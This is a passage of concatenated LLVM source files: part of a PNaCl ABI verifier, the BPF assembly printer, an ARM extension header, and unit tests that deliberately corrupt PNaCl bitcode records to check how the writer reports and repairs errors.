Reporter->printErrors(O);
Reporter->reset();
}
char PNaClABIVerifyModule::ID = 0;
INITIALIZE_PASS(PNaClABIVerifyModule, "verify-pnaclabi-module",
"Verify module for PNaCl", false, true)
ModulePass *llvm::createPNaClABIVerifyModulePass(
PNaClABIErrorReporter *Reporter, bool StreamingMode) {
return new PNaClABIVerifyModule(Reporter, StreamingMode);
}
<file_sep>/lib/Target/BPF/BPFAsmPrinter.cpp
//===-- BPFAsmPrinter.cpp - BPF LLVM assembly writer ----------------------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// This file contains a printer that converts from our internal representation
// of machine-dependent LLVM code to the BPF assembly language.
//
//===----------------------------------------------------------------------===//
#include "BPF.h"
#include "BPFInstrInfo.h"
#include "BPFMCInstLower.h"
#include "BPFTargetMachine.h"
#include "InstPrinter/BPFInstPrinter.h"
#include "llvm/CodeGen/AsmPrinter.h"
#include "llvm/CodeGen/MachineModuleInfo.h"
#include "llvm/CodeGen/MachineFunctionPass.h"
#include "llvm/CodeGen/MachineConstantPool.h"
#include "llvm/CodeGen/MachineInstr.h"
#include "llvm/MC/MCAsmInfo.h"
#include "llvm/MC/MCInst.h"
#include "llvm/MC/MCStreamer.h"
#include "llvm/MC/MCSymbol.h"
#include "llvm/Support/TargetRegistry.h"
#include "llvm/Support/raw_ostream.h"
using namespace llvm;
#define DEBUG_TYPE "asm-printer"
namespace {
class BPFAsmPrinter : public AsmPrinter {
public:
explicit BPFAsmPrinter(TargetMachine &TM, std::unique_ptr<MCStreamer> Streamer)
: AsmPrinter(TM, std::move(Streamer)) {}
const char *getPassName() const override { return "BPF Assembly Printer"; }
void printOperand(const MachineInstr *MI, int OpNum, raw_ostream &O,
const char *Modifier = nullptr);
void EmitInstruction(const MachineInstr *MI) override;
};
}
void BPFAsmPrinter::printOperand(const MachineInstr *MI, int OpNum,
raw_ostream &O, const char *Modifier) {
const MachineOperand &MO = MI->getOperand(OpNum);
switch (MO.getType()) {
case MachineOperand::MO_Register:
O << BPFInstPrinter::getRegisterName(MO.getReg());
break;
case MachineOperand::MO_Immediate:
O << MO.getImm();
break;
case MachineOperand::MO_MachineBasicBlock:
O << *MO.getMBB()->getSymbol();
break;
case MachineOperand::MO_GlobalAddress:
O << *getSymbol(MO.getGlobal());
break;
default:
llvm_unreachable("<unknown operand type>");
}
}
void BPFAsmPrinter::EmitInstruction(const MachineInstr *MI) {
BPFMCInstLower MCInstLowering(OutContext, *this);
MCInst TmpInst;
MCInstLowering.Lower(MI, TmpInst);
EmitToStreamer(OutStreamer, TmpInst);
}
// Force static initialization.
extern "C" void LLVMInitializeBPFAsmPrinter() {
RegisterAsmPrinter<BPFAsmPrinter> X(TheBPFTarget);
}
<file_sep>/unittests/Bitcode/NaClMungeTest.cpp
//===- llvm/unittests/Bitcode/NaClMungeTest.cpp - Test munging utils ------===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
//
// Implements stringify methods for munging tests.
//
//===----------------------------------------------------------------------===//
#include "NaClMungeTest.h"
#include <regex>
using namespace llvm;
namespace naclmungetest {
static bool matchErrorPrefixForLine(const std::string &Line, std::regex &Exp,
std::string &Suffix) {
std::smatch Match;
if (std::regex_search(Line, Match, Exp)) {
// Note: Element 0 is the original string.
Suffix = Match[2];
return true;
}
Suffix.clear();
return false;
}
static std::string stripErrorPrefixForLine(const std::string &Line) {
std::string Suffix;
std::regex ErrorExp("[Ee]rror: (\\(.*\\) )?(.*)");
if (matchErrorPrefixForLine(Line, ErrorExp, Suffix))
return Suffix;
std::regex WarningExp("[Ww]arning: (\\(.*\\) )?(.*)");
if (matchErrorPrefixForLine(Line, WarningExp, Suffix))
return Suffix;
return Line;
}
std::string stripErrorPrefix(const std::string &Message) {
std::string Result;
size_t StartPos = 0;
size_t NextEoln = Message.find('\n', StartPos);
while (NextEoln != std::string::npos) {
std::string Line(Message.c_str() + StartPos, NextEoln - StartPos);
Result.append(stripErrorPrefixForLine(Line)).push_back('\n');
StartPos = NextEoln + 1;
NextEoln = Message.find_first_of("\n", StartPos);
}
if (StartPos < Message.size()) {
std::string Remainder(Message.c_str() + StartPos,
Message.size() - StartPos);
Result.append(stripErrorPrefixForLine(Remainder));
}
return Result;
}
} // end of naclmungetest namespace
<file_sep>/lib/Target/ARM/ARMArchExtName.h
//===-- ARMArchExtName.h - List of the ARM Extension names ------*- C++ -*-===//
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
#ifndef LLVM_LIB_TARGET_ARM_ARMARCHEXTNAME_H
#define LLVM_LIB_TARGET_ARM_ARMARCHEXTNAME_H
namespace llvm {
namespace ARM {
enum ArchExtKind {
INVALID_ARCHEXT = 0
#define ARM_ARCHEXT_NAME(NAME, ID) , ID
#include "ARMArchExtName.def"
};
} // namespace ARM
} // namespace llvm
#endif
<file_sep>/unittests/Bitcode/NaClMungeWriteErrorTests.cpp
//===- llvm/unittest/Bitcode/NaClMungeWriteErrorTests.cpp -----------------===//
// Tests parser for PNaCl bitcode instructions.
//
// The LLVM Compiler Infrastructure
//
// This file is distributed under the University of Illinois Open Source
// License. See LICENSE.TXT for details.
//
//===----------------------------------------------------------------------===//
// Tests write errors for munged bitcode.
#include "NaClMungeTest.h"
#include "llvm/Bitcode/NaCl/NaClBitcodeParser.h"
#include "llvm/Bitcode/NaCl/NaClLLVMBitCodes.h"
#include "gtest/gtest.h"
using namespace llvm;
namespace naclmungetest {
// Test list of bitcode records.
const uint64_t BitcodeRecords[] = {
1, naclbitc::BLK_CODE_ENTER, naclbitc::MODULE_BLOCK_ID, 2, Terminator,
1, naclbitc::BLK_CODE_ENTER, naclbitc::TYPE_BLOCK_ID_NEW, 3, Terminator,
3, naclbitc::TYPE_CODE_NUMENTRY, 2, Terminator,
3, naclbitc::TYPE_CODE_VOID, Terminator,
3, naclbitc::TYPE_CODE_FUNCTION, 0, 0, Terminator,
0, naclbitc::BLK_CODE_EXIT, Terminator,
3, naclbitc::MODULE_CODE_FUNCTION, 1, 0, 0, 0, Terminator,
1, naclbitc::BLK_CODE_ENTER, naclbitc::FUNCTION_BLOCK_ID, 2, Terminator,
3, naclbitc::FUNC_CODE_DECLAREBLOCKS, 1, Terminator,
3, naclbitc::FUNC_CODE_INST_RET, Terminator,
0, naclbitc::BLK_CODE_EXIT, Terminator,
0, naclbitc::BLK_CODE_EXIT, Terminator
};
// Indices to records in bitcode.
const uint64_t VoidTypeIndex = 3; // Index for "@t0 = void".
const uint64_t RetVoidIndex = 9; // return void;
const uint64_t LastExitBlockIndex = 11;
// Expected output when bitcode records are dumped.
const char *ExpectedDumpedBitcode =
" 0:0|<65532, 80, 69, 88, 69, 1, 0,|Magic Number: 'PEXE' (80, 69, "
"88, 69)\n"
" | 8, 0, 17, 0, 4, 0, 2, 0, 0, |PNaCl Version: 2\n"
" | 0> |\n"
" 16:0|1: <65535, 8, 2> |module { // BlockID = 8\n"
" 24:0| 1: <65535, 17, 3> | types { // BlockID = 17\n"
" 32:0| 3: <1, 2> | count 2;\n"
" 34:5| 3: <2> | @t0 = void;\n"
" 36:4| 3: <21, 0, 0> | @t1 = void ();\n"
" 39:7| 0: <65534> | }\n"
" 44:0| 3: <8, 1, 0, 0, 0> | define external void @f0();\n"
" 48:6| 1: <65535, 12, 2> | function void @f0() { \n"
" | | // BlockID "
"= 12\n"
" 56:0| 3: <1, 1> | blocks 1;\n"
" | | %b0:\n"
" 58:4| 3: <10> | ret void;\n"
" 60:2| 0: <65534> | }\n"
" 64:0|0: <65534> |}\n"
;
const char *UnableToContinue =
"error: Unable to generate bitcode file due to write errors\n";
const char *NoErrorRecoveryMessages = "";
// Runs write munging tests on BitcodeRecords with the given Edits. It
// then parses the written bitcode. ErrorMessages is the expected
// error messages logged by the write munging, when no error recovery
// is allowed. ErrorRecoveryMessages are messages, in addition to
// ErrorMessages, when the writer applies error recovery.
void CheckParseEdits(const uint64_t *Edits, size_t EditsSize,
std::string ErrorMessages,
std::string ErrorRecoveryMessages) {
NaClParseBitcodeMunger Munger(ARRAY_TERM(BitcodeRecords));
EXPECT_FALSE(Munger.runTest(Edits, EditsSize, true));
std::string BadResults(ErrorMessages);
BadResults.append(UnableToContinue);
EXPECT_EQ(BadResults, Munger.getTestResults());
Munger.setTryToRecoverOnWrite(true);
EXPECT_TRUE(Munger.runTest(Edits, EditsSize, true));
std::string GoodResults(ErrorMessages);
GoodResults.append(ErrorRecoveryMessages);
GoodResults.append("Successful parse!\n");
EXPECT_EQ(GoodResults, Munger.getTestResults());
}
// Same as CheckParseEdits, but also runs the bitcode dumper on the
// written bitcode records. DumpedBitcode is the expected dumped
// bitcode.
void CheckDumpEdits(const uint64_t *Edits, size_t EditsSize,
std::string ErrorMessages,
std::string ErrorRecoveryMessages,
std::string DumpedBitcode,
bool RecoveredTestHasError=false) {
NaClObjDumpMunger Munger(ARRAY_TERM(BitcodeRecords));
EXPECT_FALSE(Munger.runTest(Edits, EditsSize));
std::string BadResults(ErrorMessages);
BadResults.append(UnableToContinue);
EXPECT_EQ(BadResults, Munger.getTestResults());
Munger.setTryToRecoverOnWrite(true);
if (RecoveredTestHasError)
EXPECT_FALSE(Munger.runTest(Edits, EditsSize));
else
EXPECT_TRUE(Munger.runTest(Edits, EditsSize));
std::string GoodResults(ErrorMessages);
GoodResults.append(ErrorRecoveryMessages);
GoodResults.append(DumpedBitcode);
EXPECT_EQ(GoodResults, Munger.getTestResults());
// Verify that we can also parse the bitcode.
CheckParseEdits(Edits, EditsSize, ErrorMessages, ErrorRecoveryMessages);
}
// Same as ExpectedDumpedBitcode, but is just the records dumped by the
// simpler write munger.
const char *ExpectedRecords =
" 1: [65535, 8, 2]\n"
" 1: [65535, 17, 3]\n"
" 3: [1, 2]\n"
" 3: [2]\n"
" 3: [21, 0, 0]\n"
" 0: [65534]\n"
" 3: [8, 1, 0, 0, 0]\n"
" 1: [65535, 12, 2]\n"
" 3: [1, 1]\n"
" 3: [10]\n"
" 0: [65534]\n"
" 0: [65534]\n";
// Same as CheckParseEdits, but run the simpler write munger instead
// of the bitcode parser. Records is the records dumped by the write
// munger. This should be used in cases where the written munged
// records is not valid bitcode.
void CheckWriteEdits(const uint64_t *Edits, size_t EditsSize,
std::string ExpectedErrorMessage,
std::string ErrorRecoveryMessages,
std::string Records) {
NaClWriteMunger Munger(ARRAY_TERM(BitcodeRecords));
EXPECT_FALSE(Munger.runTest(Edits, EditsSize));
std::string BadResults(ExpectedErrorMessage);
BadResults.append(UnableToContinue);
EXPECT_EQ(BadResults, Munger.getTestResults());
Munger.setTryToRecoverOnWrite(true);
EXPECT_TRUE(Munger.runTest(Edits, EditsSize));
std::string GoodResults(ExpectedErrorMessage);
GoodResults.append(ErrorRecoveryMessages);
GoodResults.append(Records);
EXPECT_EQ(GoodResults, Munger.getTestResults());
}
// Show that we can dump the bitcode records
TEST(NaClMungeWriteErrorTests, DumpBitcodeRecords) {
NaClObjDumpMunger Munger(ARRAY_TERM(BitcodeRecords));
EXPECT_TRUE(Munger.runTest());
EXPECT_EQ(ExpectedDumpedBitcode, Munger.getTestResults());
}
// Edit to change void type with an illegal abbreviation index.
const uint64_t AbbrevIndex4VoidTypeEdit[] = {
VoidTypeIndex, NaClMungedBitcode::Replace,
4, naclbitc::TYPE_CODE_VOID, Terminator,
};
// Show that by default, one can't write a bad abbreviation index.
TEST(NaClMungeWriteErrorTests, CantWriteBadAbbrevIndex) {
CheckDumpEdits(
ARRAY(AbbrevIndex4VoidTypeEdit),
"Error (Block 17): Uses illegal abbreviation index: 4: [2]\n",
NoErrorRecoveryMessages,
ExpectedDumpedBitcode);
}
// Show that writing out an illegal abbreviation index, causes the
// parser to fail.
TEST(MyNaClMungerWriteErrorTests, DieOnWriteBadAbbreviationIndex) {
NaClWriteMunger Munger(ARRAY_TERM(BitcodeRecords));
Munger.setWriteBadAbbrevIndex(true);
Munger.setRunAsDeathTest(true);
EXPECT_DEATH(
Munger.runTest(ARRAY(AbbrevIndex4VoidTypeEdit)),
".*"
// Report problem while writing.
"Error \\(Block 17\\)\\: Uses illegal abbreviation index\\: 4\\: \\[2\\]"
".*"
// Corresponding error while parsing.
"Fatal\\(35\\:0)\\: Invalid abbreviation \\# 4 defined for record"
".*"
// Output of report_fatal_error.
"LLVM ERROR\\: Unable to continue"
".*");
}
// Show what happens when we use more local abbreviations than specified in the
// corresponding enclosing block.
TEST(NaClMungeWriteErrorTests, CantWriteTooManyLocalAbbreviations) {
// Edit to add local abbreviation for "ret void", and then use on that
// instruction.
const uint64_t UseLocalRetVoidAbbrevEdits[] = {
RetVoidIndex, NaClMungedBitcode::AddBefore,
2, naclbitc::BLK_CODE_DEFINE_ABBREV, 1, 1,
naclbitc::FUNC_CODE_INST_RET, Terminator,
RetVoidIndex, NaClMungedBitcode::Replace,
4, naclbitc::FUNC_CODE_INST_RET, Terminator
};
CheckDumpEdits(
ARRAY(UseLocalRetVoidAbbrevEdits),
"Error (Block 12): Uses illegal abbreviation index: 4: [10]\n",
NoErrorRecoveryMessages,
" 0:0|<65532, 80, 69, 88, 69, 1, 0,|Magic Number: 'PEXE'"
" (80, 69, 88, 69)\n"
" | 8, 0, 17, 0, 4, 0, 2, 0, 0, |PNaCl Version: 2\n"
" | 0> |\n"
" 16:0|1: <65535, 8, 2> |module { // BlockID = 8\n"
" 24:0| 1: <65535, 17, 3> | types { // BlockID = 17\n"
" 32:0| 3: <1, 2> | count 2;\n"
" 34:5| 3: <2> | @t0 = void;\n"
" 36:4| 3: <21, 0, 0> | @t1 = void ();\n"
" 39:7| 0: <65534> | }\n"
" 44:0| 3: <8, 1, 0, 0, 0> | define external void @f0();\n"
// Block only specifies 2 bits for abbreviations (i.e. limit = 3).
" 48:6| 1: <65535, 12, 2> | function void @f0() { \n"
" | | // BlockID"
" = 12\n"
" 56:0| 3: <1, 1> | blocks 1;\n"
// Added abbreviation. Defines abbreviation index 4.
" 58:4| 2: <65533, 1, 1, 10> | %a0 = abbrev <10>;\n"
" | | %b0:\n"
// Repaired abbreviation index of 4 (now 3).
" 60:4| 3: <10> | ret void;\n"
" 62:2| 0: <65534> | }\n"
" 64:0|0: <65534> |}\n");
}
// Show what happens when there are more enter blocks then exit blocks.
TEST(NaClMungeWriteErrorTests, CantWriteTooManyEnterBlocks) {
// Remove all records except the first two records in BitcodeRecords.
const uint64_t Edits[] = {
2, NaClMungedBitcode::Remove,
3, NaClMungedBitcode::Remove,
4, NaClMungedBitcode::Remove,
5, NaClMungedBitcode::Remove,
6, NaClMungedBitcode::Remove,
7, NaClMungedBitcode::Remove,
8, NaClMungedBitcode::Remove,
9, NaClMungedBitcode::Remove,
10, NaClMungedBitcode::Remove,
11, NaClMungedBitcode::Remove
};
CheckDumpEdits(
ARRAY(Edits),
"Error (Block 17): Missing close block.\n"
"Error (Block 8): Missing close block.\n",
NoErrorRecoveryMessages,
" 0:0|<65532, 80, 69, 88, 69, 1, 0,|Magic Number: 'PEXE' (80, 69,"
" 88, 69)\n"
" | 8, 0, 17, 0, 4, 0, 2, 0, 0, |PNaCl Version: 2\n"
" | 0> |\n"
" 16:0|1: <65535, 8, 2> |module { // BlockID = 8\n"
" 24:0| 1: <65535, 17, 3> | types { // BlockID = 17\n"
" 32:0| 0: <65534> | }\n"
" 36:0|0: <65534> |}\n");
}
// Show what happens when there are fewer enter blocks than exit
// blocks.
TEST(NaClMungeWriteErrorTests, CantWriteTooManyExitBlocks) {
// Add two blocks to the end of BitcodeRecords.
const uint64_t Edits[] = {
LastExitBlockIndex, NaClMungedBitcode::AddAfter,
naclbitc::END_BLOCK, naclbitc::BLK_CODE_EXIT, Terminator,
LastExitBlockIndex, NaClMungedBitcode::AddAfter,
naclbitc::END_BLOCK, naclbitc::BLK_CODE_EXIT, Terminator
};
CheckDumpEdits(
ARRAY(Edits),
"Error (Block unknown): Extraneous exit block: 0: [65534]\n",
"Error (Block unknown): Extraneous exit block: 0: [65534]\n",
ExpectedDumpedBitcode);
}
// Show that an error occurs when writing a bitcode record that isn't
// in any block.
TEST(NaClMungeWriteErrorTests, CantWriteRecordOutsideBlock) {
const uint64_t Edit[] = {
LastExitBlockIndex, NaClMungedBitcode::AddAfter,
naclbitc::UNABBREV_RECORD, naclbitc::MODULE_CODE_VERSION, 4, Terminator
};
std::string Records(ExpectedRecords);
Records.append(
" 1: [65535, 4294967295, 3]\n"
" 3: [1, 4]\n"
" 0: [65534]\n");
CheckWriteEdits(
ARRAY(Edit),
"Error (Block unknown): Record outside block: 3: [1, 4]\n",
"Error (Block unknown): Missing close block.\n",
Records);
}
// Show that no error occurs if we write out the maximum allowable
// block abbreviation index bit limit.
TEST(NaClMungerWriteErrorTests, CanWriteBlockWithMaxLimit) {
// Replace initial block enter with maximum bit size.
const uint64_t Edit[] = {
0, NaClMungedBitcode::Replace,
1, naclbitc::BLK_CODE_ENTER, naclbitc::MODULE_BLOCK_ID,
naclbitc::MaxAbbrevWidth, Terminator
};
NaClWriteMunger Munger(ARRAY_TERM(BitcodeRecords));
EXPECT_TRUE(Munger.runTest(ARRAY(Edit)));
EXPECT_EQ(
" 1: [65535, 8, 32]\n" // Max abbreviation bit limit (32).
" 1: [65535, 17, 3]\n"
" 3: [1, 2]\n"
" 3: [2]\n"
" 3: [21, 0, 0]\n"
" 0: [65534]\n"
" 3: [8, 1, 0, 0, 0]\n"
" 1: [65535, 12, 2]\n"
" 3: [1, 1]\n"
" 3: [10]\n"
" 0: [65534]\n"
" 0: [65534]\n",
Munger.getTestResults());
}
// Show that an error occurs if the block abbreviation index bit limit is
// greater than the maximum allowable.
TEST(NaClMungerWriteErrorTests, CantWriteBlockWithBadBitLimit) {
// Replace initial block enter with value out of range.
const uint64_t Edit[] = {
0, NaClMungedBitcode::Replace,
1, naclbitc::BLK_CODE_ENTER, naclbitc::MODULE_BLOCK_ID,
naclbitc::MaxAbbrevWidth + 1, Terminator
};
CheckDumpEdits(
ARRAY(Edit),
"Error (Block unknown): Block index bit limit 33 invalid. Must be in"
" [2..32]: 1: [65535, 8, 33]\n",
"",
" 0:0|<65532, 80, 69, 88, 69, 1, 0,|Magic Number: 'PEXE' (80, 69,"
" 88, 69)\n"
" | 8, 0, 17, 0, 4, 0, 2, 0, 0, |PNaCl Version: 2\n"
" | 0> |\n"
// Corrected bitsize from 33 to 32.
" 16:0|1: <65535, 8, 32> |module { // BlockID = 8\n"
" 24:0| 1: <65535, 17, 3> | types { // BlockID = 17\n"
" 36:0| 3: <1, 2> | count 2;\n"
" 38:5| 3: <2> | @t0 = void;\n"
" 40:4| 3: <21, 0, 0> | @t1 = void ();\n"
" 43:7| 0: <65534> | }\n"
" 48:0| 3: <8, 1, 0, 0, 0> | define external void @f0();\n"
" 56:4| 1: <65535, 12, 2> | function void @f0() { \n"
" | | // BlockID"
" = 12\n"
" 68:0| 3: <1, 1> | blocks 1;\n"
" | | %b0:\n"
" 70:4| 3: <10> | ret void;\n"
" 72:2| 0: <65534> | }\n"
" 76:0|0: <65534> |}\n");
}
// Show that we can't write an enter block with a very large block id.
TEST(NaClMungerWriteErrorTests, CantWriteBlockWithLargeBlockID) {
// Replace initial block enter with value out of range.
const uint64_t Edit[] = {
0, NaClMungedBitcode::Replace,
1, naclbitc::BLK_CODE_ENTER, (uint64_t)1 << 33, 2, Terminator
};
CheckWriteEdits(
ARRAY(Edit),
"Error (Block unknown): Block id must be <= 4294967295: 1:"
" [65535, 8589934592, 2]\n",
"",
// Note that the maximum block ID is used for recovery.
" 1: [65535, 4294967295, 2]\n"
" 1: [65535, 17, 3]\n"
" 3: [1, 2]\n"
" 3: [2]\n"
" 3: [21, 0, 0]\n"
" 0: [65534]\n"
" 3: [8, 1, 0, 0, 0]\n"
" 1: [65535, 12, 2]\n"
" 3: [1, 1]\n"
" 3: [10]\n"
" 0: [65534]\n"
" 0: [65534]\n");
}
// Show that we check that the abbreviation actually applies to the
// record associated with that abbreviation. Also shows that we repair
// the problem by applying the default abbreviation instead.
TEST(NaClMungeWriteErrorsTests, TestMismatchedAbbreviation) {
// Create edits to:
// 1) Expand the number of abbreviation index bits for the block from 2 to 3.
// 2) Introduce the incorrect abbreviation for the return instruction.
// i.e. [9] instead of [10].
// 3) Apply the bad abbreviation to record "ret"
const uint64_t FunctionEnterIndex = 7;
const uint64_t Edits[] {
// Upped abbreviation index bits to 3
FunctionEnterIndex, NaClMungedBitcode::Replace,
1, naclbitc::BLK_CODE_ENTER, naclbitc::FUNCTION_BLOCK_ID, 3, Terminator,
// abbrev 4: [9]
RetVoidIndex, NaClMungedBitcode::AddBefore,
2, naclbitc::BLK_CODE_DEFINE_ABBREV, 1, 1,
naclbitc::FUNC_CODE_INST_RET - 1, Terminator,
// "ret" with bad abbreviation (4).
RetVoidIndex, NaClMungedBitcode::Replace,
4, naclbitc::FUNC_CODE_INST_RET, Terminator
};
CheckDumpEdits(
ARRAY(Edits),
"Error (Block 12): Abbreviation doesn't apply to record: 4: [10]\n",
"",
" 0:0|<65532, 80, 69, 88, 69, 1, 0,|Magic Number: 'PEXE' (80, 69,"
" 88, 69)\n"
" | 8, 0, 17, 0, 4, 0, 2, 0, 0, |PNaCl Version: 2\n"
" | 0> |\n"
" 16:0|1: <65535, 8, 2> |module { // BlockID = 8\n"
" 24:0| 1: <65535, 17, 3> | types { // BlockID = 17\n"
" 32:0| 3: <1, 2> | count 2;\n"
" 34:5| 3: <2> | @t0 = void;\n"
" 36:4| 3: <21, 0, 0> | @t1 = void ();\n"
" 39:7| 0: <65534> | }\n"
" 44:0| 3: <8, 1, 0, 0, 0> | define external void @f0();\n"
// Upped abbreviation index bits to 3
" 48:6| 1: <65535, 12, 3> | function void @f0() { \n"
" | | // BlockID"
" = 12\n"
" 56:0| 3: <1, 1> | blocks 1;\n"
// added abbrev 4: [9]
" 58:5| 2: <65533, 1, 1, 9> | %a0 = abbrev <9>;\n"
" | | %b0:\n"
// Implicit repair of abbreviation index (from 4 to 3: the default abbrev)
" 60:6| 3: <10> | ret void;\n"
" 62:5| 0: <65534> | }\n"
" 64:0|0: <65534> |}\n");
}
// Show that we recognize when an abbreviation definition record is
// malformed. Also show that we repair the problem by removing the
// definition.
TEST(NaClMungeWriteErrorsTests, TestWritingMalformedAbbreviation) {
// Create edits to:
// 1) Expand the number of abbreviation index bits for the block from 2 to 3.
// 2) Leave out the "literal" operand encoding out.
const uint64_t FunctionEnterIndex = 7;
const uint64_t Edits[] {
FunctionEnterIndex, NaClMungedBitcode::Replace, // Set Abbrev bits = 3
1, naclbitc::BLK_CODE_ENTER, naclbitc::FUNCTION_BLOCK_ID, 3, Terminator,
RetVoidIndex, NaClMungedBitcode::AddBefore,
// Bad abbreviation! Intentionally leave out "literal" operand: 1
2, naclbitc::BLK_CODE_DEFINE_ABBREV, 1, // 1,
naclbitc::FUNC_CODE_INST_RET, Terminator,
};
CheckDumpEdits(
ARRAY(Edits),
"Error (Block 12): Bad abbreviation operand encoding 10:"
" 2: [65533, 1, 10]\n",
"",
" 0:0|<65532, 80, 69, 88, 69, 1, 0,|Magic Number: 'PEXE' (80, 69,"
" 88, 69)\n"
" | 8, 0, 17, 0, 4, 0, 2, 0, 0, |PNaCl Version: 2\n"
" | 0> |\n"
" 16:0|1: <65535, 8, 2> |module { // BlockID = 8\n"
" 24:0| 1: <65535, 17, 3> | types { // BlockID = 17\n"
" 32:0| 3: <1, 2> | count 2;\n"
" 34:5| 3: <2> | @t0 = void;\n"
" 36:4| 3: <21, 0, 0> | @t1 = void ();\n"
" 39:7| 0: <65534> | }\n"
" 44:0| 3: <8, 1, 0, 0, 0> | define external void @f0();\n"
// Edit to change number of abbrev bits to 3.
" 48:6| 1: <65535, 12, 3> | function void @f0() { \n"
" | | // BlockID"
" = 12\n"
" 56:0| 3: <1, 1> | blocks 1;\n"
" | | %b0:\n"
" 58:5| 3: <10> | ret void;\n"
" 60:4| 0: <65534> | }\n"
" 64:0|0: <65534> |}\n");
}
// Show how we deal with additional abbreviations defined for a block,
// once a bad abbreviation definition record is found. That is, we
// remove all succeeding abbreviations definitions for that block. In
// addition, any record refering to a remove abbreviation is changed
// to use the default abbreviation.
TEST(NaClMungedWriteErrorTests, TestRemovingAbbrevWithMultAbbrevs) {
NaClWriteMunger Munger(ARRAY_TERM(BitcodeRecords));
const uint64_t FunctionEnterIndex = 7;
const uint64_t Edits[] {
FunctionEnterIndex, NaClMungedBitcode::Replace, // Set Abbrev bits = 3
1, naclbitc::BLK_CODE_ENTER, naclbitc::FUNCTION_BLOCK_ID, 3, Terminator,
RetVoidIndex, NaClMungedBitcode::AddBefore, // bad abbreviation!
2, naclbitc::BLK_CODE_DEFINE_ABBREV, 1, // 1,
naclbitc::FUNC_CODE_INST_RET - 1, Terminator,
RetVoidIndex, NaClMungedBitcode::AddBefore, // good abbreviation to ignore.
2, naclbitc::BLK_CODE_DEFINE_ABBREV, 1, 1,
naclbitc::FUNC_CODE_INST_RET, Terminator,
RetVoidIndex, NaClMungedBitcode::Replace, // reference to good abreviation.
5, naclbitc::FUNC_CODE_INST_RET, Terminator
};
CheckDumpEdits(
ARRAY(Edits),
"Error (Block 12): Bad abbreviation operand encoding 9:"
" 2: [65533, 1, 9]\n",
"Error (Block 12): Ignoring abbreviation: 2: [65533, 1, 1, 10]\n"
"Error (Block 12): Uses illegal abbreviation index: 5: [10]\n",
" 0:0|<65532, 80, 69, 88, 69, 1, 0,|Magic Number: 'PEXE' (80, 69,"
" 88, 69)\n"
" | 8, 0, 17, 0, 4, 0, 2, 0, 0, |PNaCl Version: 2\n"
" | 0> |\n"
" 16:0|1: <65535, 8, 2> |module { // BlockID = 8\n"
" 24:0| 1: <65535, 17, 3> | types { // BlockID = 17\n"
" 32:0| 3: <1, 2> | count 2;\n"
" 34:5| 3: <2> | @t0 = void;\n"
" 36:4| 3: <21, 0, 0> | @t1 = void ();\n"
" 39:7| 0: <65534> | }\n"
" 44:0| 3: <8, 1, 0, 0, 0> | define external void @f0();\n"
// Edit to change number of abbrev bits to 3.
" 48:6| 1: <65535, 12, 3> | function void @f0() { \n"
" | | // BlockID"
" = 12\n"
" 56:0| 3: <1, 1> | blocks 1;\n"
" | | %b0:\n"
" 58:5| 3: <10> | ret void;\n"
" 60:4| 0: <65534> | }\n"
" 64:0|0: <65534> |}\n");
}
// Show that inserting an abbreviation with a bad fixed width is dealt with.
TEST(NaClMungeWriteErrorTests, InvalidFixedAbbreviationSize) {
// Insert bad abbreviation Fixed(36) into type block.
assert(36 > naclbitc::MaxAbbrevWidth);
const uint64_t Edit[] = {
VoidTypeIndex, NaClMungedBitcode::AddBefore,
naclbitc::DEFINE_ABBREV, naclbitc::BLK_CODE_DEFINE_ABBREV, 1,
0, NaClBitCodeAbbrevOp::Fixed, 36, Terminator
};
CheckDumpEdits(
ARRAY(Edit),
"Error (Block 17): Invalid abbreviation Fixed(36) in: 2: [65533, 1, 0,"
" 1, 36]\n",
NoErrorRecoveryMessages,
ExpectedDumpedBitcode);
}
// Show that inserting an abbreviation with a bad vbr width is dealt with.
TEST(NaClMungeWriteErrorTests, InvalidVbrAbbreviationSize) {
// Insert bad abbreviation Vbr(36) into type block.
assert(36 > naclbitc::MaxAbbrevWidth);
const uint64_t Edit[] = {
VoidTypeIndex, NaClMungedBitcode::AddBefore,
naclbitc::DEFINE_ABBREV, naclbitc::BLK_CODE_DEFINE_ABBREV, 1,
0, NaClBitCodeAbbrevOp::VBR, 36, Terminator
};
CheckDumpEdits(
ARRAY(Edit),
"Error (Block 17): Invalid abbreviation VBR(36) in: 2: [65533, 1, 0,"
" 2, 36]\n",
NoErrorRecoveryMessages,
ExpectedDumpedBitcode);
}
// Show that the array operator can't appear last.
TEST(NaClMungeWriteErrorTests, InvalidArrayAbbreviationLast) {
const uint64_t Edit[] = {
VoidTypeIndex, NaClMungedBitcode::AddBefore,
naclbitc::DEFINE_ABBREV, naclbitc::BLK_CODE_DEFINE_ABBREV, 1,
0, NaClBitCodeAbbrevOp::Array, Terminator
};
CheckDumpEdits(
ARRAY(Edit),
"Error (Block 17): Array abbreviation must be second to last: 2: [65533,"
" 1, 0, 3]\n",
NoErrorRecoveryMessages,
ExpectedDumpedBitcode);
}
// Show that the array operator can't appear before the second to last
// operand.
TEST(NaClMungeWriteErrorTests, InvalidArrayAbbreviationTooEarly) {
const uint64_t Edit[] = {
VoidTypeIndex, NaClMungedBitcode::AddBefore,
naclbitc::DEFINE_ABBREV, naclbitc::BLK_CODE_DEFINE_ABBREV, 3,
0, NaClBitCodeAbbrevOp::Array, // array
1, 15, // lit(15)
1, 10, // lit(10)
Terminator
};
CheckDumpEdits(
ARRAY(Edit),
"Error (Block 17): Array abbreviation must be second to last: 2: [65533,"
" 3, 0, 3, 1, 15, 1, 10]\n",
NoErrorRecoveryMessages,
ExpectedDumpedBitcode);
}
// Show that the array operator can't appear as last two operators.
TEST(NaClMungeWriteErrorTests, InvalidArrayAbbreviationLastTwo) {
const uint64_t Edit[] = {
VoidTypeIndex, NaClMungedBitcode::AddBefore,
naclbitc::DEFINE_ABBREV, naclbitc::BLK_CODE_DEFINE_ABBREV, 2,
0, NaClBitCodeAbbrevOp::Array, // array
0, NaClBitCodeAbbrevOp::Array, // array
Terminator
};
CheckDumpEdits(
ARRAY(Edit),
"Error (Block 17): Array abbreviation must be second to last: 2: [65533,"
" 2, 0, 3, 0, 3]\n",
NoErrorRecoveryMessages,
ExpectedDumpedBitcode);
}
// Show what happens when an abbreviation is specified to only contain
